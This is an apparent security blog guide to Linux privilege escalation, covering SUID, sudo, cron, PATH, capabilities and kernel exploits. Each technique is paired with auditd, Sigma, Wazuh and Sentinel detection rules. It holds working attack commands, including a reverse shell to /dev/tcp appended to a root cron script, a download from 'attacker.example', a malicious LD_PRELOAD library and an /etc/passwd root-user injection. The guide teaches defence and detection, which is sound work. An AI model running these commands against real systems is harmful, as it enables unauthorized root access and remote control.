You compromised a web server. A shell drops as www-data — no sudo, no access to /etc/shadow, no way to pivot further. Forty minutes later, you’re root. This is the gap between initial foothold and full system compromise: Linux privilege escalation.
For defenders: every undetected privesc is a missed detection opportunity. This guide covers every major technique — and exactly how to catch each one.
TL;DR
- Linux privesc turns low-priv shells (
www-data, service accounts) into root- Six primary attack paths: SUID abuse, sudo misconfig, cron hijacking, PATH injection, capabilities, kernel exploits
- Tools: LinPEAS automates discovery; pspy reveals cron jobs without root access
- Every technique in this guide has auditd, Sigma, and Wazuh/Sentinel detection coverage
- Most misconfigurations take under 5 minutes to exploit — and months to detect without proper logging
Why This Matters
Initial access rarely gives you root. Attackers almost always land as a service account, www-data, or a low-privileged user. Privilege escalation is the bridge between “I’m in” and “I own this system.”
For red teamers: it’s a required post-exploitation phase before lateral movement, credential harvesting, or persistence. For blue teamers: it’s where most detections are missing — auditd is often disabled, sudo logs aren’t forwarded to SIEM, and cron file modifications generate zero alerts.
MITRE ATT&CK tactic: TA0004 — Privilege Escalation
Contents
- Phase 1: Reconnaissance
- SUID and SGID Abuse
- Sudo Misconfiguration
- Cron Job Hijacking
- PATH Injection
- Linux Capabilities
- Kernel Exploits
- Detection Reference
- Mitigations
- What You Can Do Today
Phase 1: Reconnaissance
Before exploiting anything, map the attack surface. Two tools do 90% of the work.
LinPEAS — automated enumeration
LinPEAS (Linux Privilege Escalation Awesome Script) scans for hundreds of misconfigurations automatically. Run it directly from memory to avoid writing to disk:
Run enumeration tooling only on systems you own or are explicitly authorized to test. For production validation, download and inspect scripts before execution instead of piping remote content directly into a shell.
# From memory — no file on diskcurl -s https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null
# If curl isn't available, transfer and runwget http://attacker.example/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.shLinPEAS color-codes findings: red/yellow = likely exploitable. It checks SUID binaries, sudo rules, cron jobs, writable directories in PATH, capabilities, environment variables, and running processes.
pspy — watch cron jobs without root
pspy monitors process execution in real-time without requiring root privileges. It reveals scheduled tasks that aren’t visible in crontab files — because root cron jobs aren’t exposed to low-privileged users.
./pspy64 # watch for 5+ minutes to catch all scheduled tasksAttacker value: reveals hidden cron jobs that standard crontab -l won’t show.
Defender value: pspy running on a host is a strong indicator of active privilege escalation recon.
Manual quick checks
# Current identity and group membershipsid && groups
# What can this user run as root?sudo -l
# SUID and SGID binariesfind / -perm -4000 -o -perm -2000 2>/dev/null | grep -v proc
# Binaries with Linux capabilitiesgetcap -r / 2>/dev/null
# All cron jobs (system-wide)cat /etc/crontab; ls -la /etc/cron.*; crontab -l 2>/dev/null
# Writable directories in PATHecho $PATH | tr ':' '\n' | xargs -I{} find {} -writable -type d 2>/dev/null
# World-writable files owned by rootfind / -writable -user root -type f 2>/dev/null | grep -v procSUID and SGID Abuse
SUID (Set User ID) — when this permission bit is set on a binary, it executes with the file owner’s privileges, not the caller’s. A root-owned binary with SUID set runs as root regardless of who invokes it.
SGID (Set Group ID) works the same way for group privileges.
Attack
The following examples are exploit paths for an owned lab or sanctioned assessment. They are written as functional commands so defenders can reproduce and detect the behavior safely.
# Enumerate SUID binariesfind / -perm -4000 -type f 2>/dev/null
# Example: SUID 'find' binary/usr/bin/find . -exec /bin/sh -p \; -quit# The -p flag preserves effective UID → drops to root shell
# Example: SUID vimsudo vim -c ':!/bin/bash'
# Example: SUID Pythonpython3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Example: SUID cp — overwrite /etc/passwdcp /etc/passwd /tmp/passwd.bakecho 'evil:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /tmp/passwd.bakcp /tmp/passwd.bak /etc/passwdsu evilGTFOBins (gtfobins.github.io) documents exploitation paths for hundreds of SUID binaries. If you find a non-standard SUID binary, GTFOBins tells you exactly how to abuse it.
MITRE: T1548.001 — Setuid and Setgid
Detection: auditd
# Flag processes that execute with euid=0 but were started by non-root-a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution-a always,exit -F arch=b32 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_executionThese rules trigger whenever a process runs with effective UID 0 (root) but was initiated by a non-root user — the direct signature of SUID abuse.
Detection: Sigma
title: SUID Binary Execution by Non-Root Userstatus: stabledescription: Detects SUID binary execution where euid=0 but initiating user is non-rootlogsource: product: linux service: auditddetection: selection: type: SYSCALL syscall: execve euid: '0' filter: auid: - '0' - '4294967295' # unset auid (daemons) condition: selection and not filterfalsepositives: - Legitimate SUID binaries: passwd, su, newgrp — tune by exe pathlevel: mediumtags: - attack.privilege_escalation - attack.t1548.001Detection: Wazuh
<rule id="100300" level="12"> <if_group>audit_command</if_group> <field name="audit.euid">0</field> <field name="audit.auid" negate="yes">0</field> <description>Possible SUID abuse: non-root user spawned root-privilege process</description> <group>privilege_escalation,suid_abuse,</group> <mitre> <id>T1548.001</id> </mitre></rule>Sudo Misconfiguration
sudo lets specified users run commands as other users — typically root. A misconfigured sudoers file is the most commonly exploited privilege escalation vector in enterprise Linux environments.
NOPASSWD entries
sudo -l# Exploit: spawn a shell from within vimsudo vim -c ':!/bin/bash'Wildcards in sudo rules
# Sudoers entry:# user ALL=(root) NOPASSWD: /usr/bin/python3 /opt/scripts/*.py
# Exploit: path traversal bypasses the wildcard restrictionsudo /usr/bin/python3 /opt/scripts/../../../tmp/evil.pyLD_PRELOAD abuse
# Check: sudo -l shows env_keep+=LD_PRELOAD# Create a malicious shared library that runs at load time:cat > /tmp/evil.c << 'EOF'#include <unistd.h>void __attribute__((constructor)) init() { setuid(0); setgid(0); system("/bin/bash -p");}EOFgcc -shared -fPIC -o /tmp/evil.so /tmp/evil.csudo LD_PRELOAD=/tmp/evil.so /usr/bin/findMITRE: T1548.003 — Sudo and Sudo Caching
Detection: auditd
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k sudo_execution-w /etc/sudoers -p wa -k sudoers_modification-w /etc/sudoers.d/ -p wa -k sudoers_modificationDetection: Sigma
title: Sudo Used to Spawn Interactive Shellstatus: experimentaldescription: Detects sudo invocations that result in interactive shell executionlogsource: product: linux service: authdetection: keywords: - 'sudo.*: .* COMMAND=/bin/bash' - 'sudo.*: .* COMMAND=/bin/sh' - 'sudo.*: .* COMMAND=.*python.*-c' - 'sudo.*: .* COMMAND=.*perl -e' - 'sudo.*: .* COMMAND=/usr/bin/vim' - 'sudo.*: .* COMMAND=/usr/bin/less' - 'sudo.*: .* COMMAND=/usr/bin/env' condition: keywordslevel: hightags: - attack.privilege_escalation - attack.t1548.003Detection: Wazuh
Wazuh built-in rule 5402 handles sudo authentication failures. Add a custom rule for shell spawning:
<rule id="100301" level="14"> <if_sid>5402</if_sid> <regex type="pcre2">COMMAND=(\/bin\/bash|\/bin\/sh|vim|python|perl|less|env)</regex> <description>Sudo used to execute interactive shell — privilege escalation indicator</description> <group>privilege_escalation,sudo_abuse,</group> <mitre> <id>T1548.003</id> </mitre></rule>Cron Job Hijacking
Cron runs scheduled tasks — often as root. If the script a cron job calls is writable by low-privileged users, an attacker can inject commands that execute as root on the next scheduled run.
Writable script called by root cron
# /etc/crontab shows:# */5 * * * * root /opt/backup.sh
# Check permissions on the target script:ls -la /opt/backup.sh# -rwxrwxrwx root root ← world-writable, exploitable
# Append a reverse shell:echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' >> /opt/backup.sh# Wait up to 5 minutes for cron to execute it as rootPATH hijacking in cron
# /etc/crontab contains:# * * * * * root backup.sh ← no absolute path
# If /home/lowpriv/bin is writable and appears before system directories:cat > /home/lowpriv/bin/backup.sh << 'EOF'#!/bin/bashcp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbashEOFchmod +x /home/lowpriv/bin/backup.sh# After cron runs: /tmp/rootbash -p → root shellMITRE: T1053.003 — Scheduled Task/Job: Cron
Detection: auditd
# Monitor all cron-related directories for file modifications-w /etc/crontab -p wa -k cron_modification-w /etc/cron.d/ -p wa -k cron_modification-w /etc/cron.daily/ -p wa -k cron_modification-w /etc/cron.hourly/ -p wa -k cron_modification-w /etc/cron.weekly/ -p wa -k cron_modification-w /var/spool/cron/ -p wa -k cron_modificationDetection: Sigma
title: Cron File Modified by Non-Root Userstatus: stabledescription: Detects modification to cron files or directories by non-privileged userslogsource: product: linux service: auditddetection: selection: type: PATH name|contains: - '/etc/cron' - '/var/spool/cron' key: cron_modification filter: auid: '0' condition: selection and not filterlevel: hightags: - attack.persistence - attack.privilege_escalation - attack.t1053.003Detection: Wazuh
Enable file integrity monitoring (FIM) on cron paths plus a custom alert:
<!-- ossec.conf — FIM for cron directories --><directories realtime="yes" check_all="yes" report_changes="yes"> /etc/crontab,/etc/cron.d,/etc/cron.daily,/var/spool/cron</directories>
<!-- custom rule triggered by FIM cron events --><rule id="100302" level="12"> <if_group>syscheck</if_group> <match>/etc/cron|/var/spool/cron</match> <description>Cron file modified — possible persistence or privilege escalation</description> <group>privilege_escalation,cron_modification,</group> <mitre> <id>T1053.003</id> </mitre></rule>PATH Injection
Linux resolves commands by searching directories listed in the $PATH environment variable from left to right. If a script runs a command without specifying its full path (e.g., backup instead of /usr/bin/backup) and a writable directory appears early in PATH, an attacker can plant a malicious binary with the same name.
# Root-owned SUID script calls 'id' without an absolute path:cat /usr/local/bin/check_status# #!/bin/bash# echo "System check by: $(id)"
# Inject a fake 'id' binary earlier in PATH:export PATH=/tmp:$PATHcat > /tmp/id << 'EOF'#!/bin/bashcp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbashEOFchmod +x /tmp/id
# Execute the SUID script — it picks up /tmp/id instead of /usr/bin/id/usr/local/bin/check_status/tmp/rootbash -p # root shellMITRE: T1574.007 — Path Interception by PATH Environment Variable
Detection: auditd + Sigma
# Detect root-privilege processes spawned from writable directories-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/tmp -k suspicious_root_exec-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/dev/shm -k suspicious_root_exectitle: Root Process Executed from World-Writable Directorystatus: experimentaldescription: Root-privilege binary executed from /tmp, /dev/shm, or similar writable pathslogsource: product: linux service: auditddetection: selection: type: SYSCALL euid: '0' exe|contains: - '/tmp/' - '/dev/shm/' - '/var/tmp/' condition: selectionlevel: hightags: - attack.privilege_escalation - attack.t1574.007Linux Capabilities
Linux capabilities are a granular alternative to SUID — instead of granting full root, they give a binary specific elevated rights. cap_setuid lets a process change its UID to any user including root. cap_dac_override bypasses all file permission checks. Attackers who find these assigned to unexpected binaries get a clean privesc path.
# Enumerate all binaries with capabilitiesgetcap -r / 2>/dev/null
# Dangerous output example:# /usr/bin/python3.10 = cap_setuid+ep
# Exploit: cap_setuid allows direct UID changepython3 -c 'import os; os.setuid(0); os.system("/bin/bash")'Dangerous capabilities reference
| Capability | Risk | Exploit path |
|---|---|---|
cap_setuid | Critical | Change UID to 0 → instant root |
cap_dac_override | Critical | Read/write any file (including /etc/shadow) |
cap_sys_admin | Critical | Near-root — mount, ptrace, kernel operations |
cap_net_admin | High | Modify routing, intercept traffic |
cap_sys_ptrace | High | Attach to and inject code into any process |
cap_fowner | High | Bypass ownership checks on any file |
MITRE: T1548.001
Detection: auditd
# Monitor setuid/setreuid system calls and the setcap tool-a always,exit -F arch=b64 -S setuid -k setuid_syscall-a always,exit -F arch=b64 -S setreuid -k setuid_syscall-a always,exit -F arch=b64 -S setresuid -k setuid_syscall-w /sbin/setcap -p x -k capabilities_changeDetection: Sigma
title: Linux Capabilities Discoverystatus: stabledescription: Detects use of getcap/setcap — recon or modification of file capabilitieslogsource: product: linux service: auditddetection: selection: type: EXECVE a0|contains: - 'getcap' - 'setcap' condition: selectionlevel: mediumtags: - attack.discovery - attack.privilege_escalation - attack.t1548.001Detection: Sentinel KQL
Assumes auditd logs forwarded to Log Analytics workspace via Syslog or Azure Monitor Agent:
// Detect UID change syscalls from non-root processesSyslog| where ProcessName == "audit" or Facility == "kern"| where SyslogMessage has_any ("syscall=setuid", "syscall=setreuid", "syscall=setresuid")| where SyslogMessage has "euid=0"| where SyslogMessage !has "auid=0"| where SyslogMessage !has "auid=4294967295"| extend Host = Computer, AuditKey = extract(@"key=(\w+)", 1, SyslogMessage), ExePath = extract(@"exe=\"([^\"]+)\"", 1, SyslogMessage)| project TimeGenerated, Host, ExePath, AuditKey, SyslogMessage| order by TimeGenerated desc// Detect setcap execution (capability assignment to binaries)Syslog| where SyslogMessage has "setcap" and SyslogMessage has "execve"| project TimeGenerated, Computer, SyslogMessageKernel Exploits
When no misconfiguration is exploitable, target the kernel directly. Kernel exploits bypass all application-layer controls — they work regardless of sudo policy, file permissions, or AppArmor/SELinux configuration.
Kernel exploits are powerful but carry risk: a bug in exploit code can kernel-panic the system. They’re a last resort.
Notable kernel privesc vulnerabilities
| CVE | Name | Affected versions | Impact |
|---|---|---|---|
| CVE-2022-0847 | DirtyPipe | Linux 5.8–5.16 | Overwrite read-only files, root |
| CVE-2021-4034 | PwnKit | Any Linux with pkexec since 2009 | SUID pkexec heap overflow → root |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | Heap overflow → root |
| CVE-2019-13272 | PTRACE_TRACEME | Linux < 5.1.17 | User namespace privesc |
# Check kernel version firstuname -r && cat /etc/os-release
# Search for known exploitssearchsploit linux kernel $(uname -r | cut -d. -f1-3) privilege escalation
# Check if pkexec (PwnKit target) is SUIDls -la $(which pkexec)MITRE: T1068 — Exploitation for Privilege Escalation
Detection
Kernel exploits are difficult to detect at the application layer. Focus on:
auditd — detect DirtyPipe-style /proc/[pid]/mem writes:
-a always,exit -F arch=b64 -S write -F path=/proc/self/mem -k proc_mem_write-a always,exit -F arch=b64 -S open -F path=/proc/self/mem -F perm=w -k proc_mem_writeSigma — detect PwnKit exploitation pattern:
title: Suspicious pkexec Execution (PwnKit Pattern)status: experimentaldescription: Detects pkexec invocation patterns associated with CVE-2021-4034logsource: product: linux service: auditddetection: selection: type: EXECVE exe|endswith: '/pkexec' filter: a1|startswith: '/usr' condition: selection and not filterlevel: hightags: - attack.privilege_escalation - attack.t1068Sentinel KQL — flag privilege gain from unexpected parents:
// Detect processes that gained root UID from non-root parentSyslog| where SyslogMessage has "type=SYSCALL"| where SyslogMessage has "euid=0" and SyslogMessage has "ppid"| where SyslogMessage !has "auid=0"| extend ppid = extract(@"ppid=(\d+)", 1, SyslogMessage)| extend exe = extract(@"exe=\"([^\"]+)\"", 1, SyslogMessage)| where exe !in ("/usr/bin/sudo", "/usr/bin/su", "/usr/bin/newgrp", "/usr/bin/passwd")| project TimeGenerated, Computer, exe, ppid, SyslogMessageDetection Reference
Complete auditd ruleset for deploying all detections above in one file:
## /etc/audit/rules.d/privesc.rules## Linux Privilege Escalation Detection Rules
# SUID: non-root user spawns root-effective process-a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution-a always,exit -F arch=b32 -S execve -F euid=0 -F auid!=0 -F auid!=-1 -k suid_execution
# Sudo: invocation and config changes-w /usr/bin/sudo -p x -k sudo_execution-w /etc/sudoers -p wa -k sudoers_modification-w /etc/sudoers.d/ -p wa -k sudoers_modification
# Cron: file and directory modifications-w /etc/crontab -p wa -k cron_modification-w /etc/cron.d/ -p wa -k cron_modification-w /etc/cron.daily/ -p wa -k cron_modification-w /etc/cron.hourly/ -p wa -k cron_modification-w /etc/cron.weekly/ -p wa -k cron_modification-w /var/spool/cron/ -p wa -k cron_modification
# Capabilities: UID change syscalls and setcap tool-a always,exit -F arch=b64 -S setuid -k setuid_syscall-a always,exit -F arch=b64 -S setreuid -k setuid_syscall-a always,exit -F arch=b64 -S setresuid -k setuid_syscall-w /sbin/setcap -p x -k capabilities_change
# PATH injection: root process in writable directory-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/tmp -k suspicious_root_exec-a always,exit -F arch=b64 -S execve -F euid=0 -F dir=/dev/shm -k suspicious_root_exec
# Kernel exploit pattern: /proc/mem writes-a always,exit -F arch=b64 -S write -F path=/proc/self/mem -k proc_mem_writeApply without reboot:
Test rule loading and expected log volume on a lab host or during a maintenance window before deploying broadly.
auditctl -R /etc/audit/rules.d/privesc.rulessystemctl reload auditdMITRE ATT&CK mapping
| Technique | Attack path | Detection key |
|---|---|---|
| T1548.001 | SUID/SGID abuse, Capabilities | suid_execution, setuid_syscall |
| T1548.003 | Sudo misconfig | sudo_execution, sudoers_modification |
| T1053.003 | Cron job hijacking | cron_modification |
| T1574.007 | PATH injection | suspicious_root_exec |
| T1068 | Kernel exploits | proc_mem_write + anomaly |
Mitigations
| Control | What it prevents |
|---|---|
Monthly SUID audit: find / -perm -4000 -type f | Detects unauthorized SUID binaries |
Remove unnecessary SUID bits: chmod u-s /path/to/binary | Eliminates SUID attack surface |
| No NOPASSWD or wildcards in sudoers | Removes sudo abuse paths |
| Use absolute paths in all cron scripts | Prevents PATH hijacking via cron |
chmod 750 /etc/cron.d /etc/cron.daily /etc/cron.weekly | Prevents world-writable cron injection |
Audit capabilities: getcap -r / 2>/dev/null | Identifies dangerous capability assignments |
setcap -r /path/to/binary for unnecessary capabilities | Eliminates capability-based escalation |
Keep kernel patched — subscribe to linux-security-announce | Closes kernel exploit windows |
| Run services as dedicated low-priv accounts (not root, not www-data) | Limits blast radius of initial access |
| Deploy auditd + forward logs to SIEM | Ensures detection coverage across all techniques |
What You Can Do Today
Red teamers:
- Run LinPEAS on your next engagement and document every yellow/red finding — most environments have at least one critical misconfiguration
- Run
pspy64for 5 minutes on any low-priv shell before manual enumeration — you’ll catch cron jobs that crontab listings miss - Check GTFOBins for every non-standard SUID binary: if it’s listed, you have a working privesc
Defenders:
- Deploy the auditd ruleset above — it takes under five minutes and covers all six attack paths in this guide
- Forward auditd logs to your SIEM — detections are useless if the logs aren’t there
- Run this command right now on each Linux host:
find / -perm -4000 -type f 2>/dev/null— investigate anything that isn’t a standard OS binary (passwd, su, ping, etc.) - Audit sudoers:
grep -i nopasswd /etc/sudoers /etc/sudoers.d/* 2>/dev/null— any result deserves review - Audit capabilities:
getcap -r / 2>/dev/null—cap_setuid=epon any interpreter (Python, Perl, Ruby) is a critical finding
Related Posts
- The Linux Server Attack Surface You Didn’t Install — default services that expand your attack surface before privesc even begins
- Rapid Compromise Triage: First 10 Minutes on Linux and Windows — what to look for immediately after detecting a breach
- Threat Hunting with Wazuh: Building Effective Detection Rules — how to write and deploy Wazuh detection rules in production
- LSASS Dumping Techniques and Detection — credential harvesting after privilege escalation (Windows equivalent)
- LOLBins in 2026: How Attackers Use Windows Against Itself — the Windows parallel to Linux capabilities and SUID abuse
Sources
- MITRE ATT&CK — Privilege Escalation TA0004
- MITRE ATT&CK — T1548: Abuse Elevation Control Mechanism
- MITRE ATT&CK — T1053.003: Scheduled Task/Job: Cron
- Splunk: Deep Dive on Persistence and Privilege Escalation in Linux
- Wazuh — Privilege Abuse Use Cases
- SigmaHQ — Linux auditd Rules
- Detection.FYI — Linux Capabilities Discovery Sigma Rule
- GTFOBins
- PEASS-ng / LinPEAS
- Neo23x0 — Production auditd Rules